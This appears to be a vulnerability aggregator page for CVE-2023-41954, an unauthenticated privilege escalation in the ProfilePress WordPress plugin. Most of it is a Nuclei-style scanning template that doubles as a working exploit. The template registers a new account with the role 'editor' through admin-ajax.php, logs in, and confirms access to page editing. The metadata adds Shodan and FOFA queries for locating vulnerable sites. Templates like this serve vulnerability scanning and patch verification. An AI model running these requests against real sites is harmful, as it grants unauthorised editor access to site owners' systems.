CVE-2023-41954: ProfilePress <= 4.13.1 — Unauthenticated Privilege Escalation

日期: 2025-12-02 | 影响软件: ProfilePress | POC: 已公开

漏洞描述

Improper Privilege Management vulnerability in ProfilePress Membership Team ProfilePress allows Privilege Escalation.This issue affects ProfilePress: from n/a through 4.13.1.

PoC代码[已公开]

id: CVE-2023-41954

info:
  name: ProfilePress <= 4.13.1 — Unauthenticated Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    Improper Privilege Management vulnerability in ProfilePress Membership Team ProfilePress allows Privilege Escalation.This issue affects ProfilePress: from n/a through 4.13.1.
  remediation: |
    Update to the latest version of ProfilePress to address privilege management issues.
  impact: |
    Attackers can escalate privileges, gaining unauthorized access to restricted features or data within ProfilePress.
  reference:
    - https://patchstack.com/database/vulnerability/wp-user-avatar/wordpress-profilepress-plugin-4-13-1-unauthenticated-limited-privilege-escalation-vulnerability?_s_id=cve
    - https://infosecwriteups.com/cve-2023-41954-profilepress-4-13-1-unauthenticated-privilege-escalation-fa781b778d59
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41954
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 8.6
    cve-id: CVE-2023-41954
    epss-score: 0.20389
    epss-percentile: 0.95327
    cwe-id: CWE-269
    cpe: cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: properfraction
    product: profilepress
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-user-avatar/"
    publicwww-query: "/wp-content/plugins/wp-user-avatar/"
    shodan-query: http.component:"profilepress"
  tags: cve,cve2022,wordpress,wp,wp-plugin,properfraction,profilepress,vkev

flow: http(1) && http(2)

variables:
  user: "{{rand_base(6)}}"
  pass: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: localhost
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoO03YbuBltnemvPe

        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="reg_username"

        {{user}}
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="reg_email"

        {{email}}
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="reg_password"

        {{pass}}
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="reg_password_present"

        true
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="reg_first_name"

        {{firstname}}
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="reg_last_name"

        {{lastname}}
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="_wp_http_referer"

        /
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="pp_current_url"

        {{BaseURL}}
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="signup_form_id"

        {{signup_form_id}}
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="signup_referrer_page"


        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="reg_select_role"

        editor
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="action"

        pp_ajax_signup
        ------WebKitFormBoundaryoO03YbuBltnemvPe
        Content-Disposition: form-data; name="melange_id"


        ------WebKitFormBoundaryoO03YbuBltnemvPe--

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "profilepress-reg-status success", "Registration successful.")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{user}}&pwd={{pass}}&wp-submit=Log+In

      - |
        GET /wp-admin/edit.php?post_type=page HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Filter pages list", "Add Page")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100e540e171c6807a0f61e8ebbb0f6376bfb6633f0587301a0f498b735fa445bda00220535680433776d008d57b3a37af7b541cab1aed16233f791a80ae5cdb5c86ae87:922c64590222798bb761d5b6d8e72950

相关漏洞推荐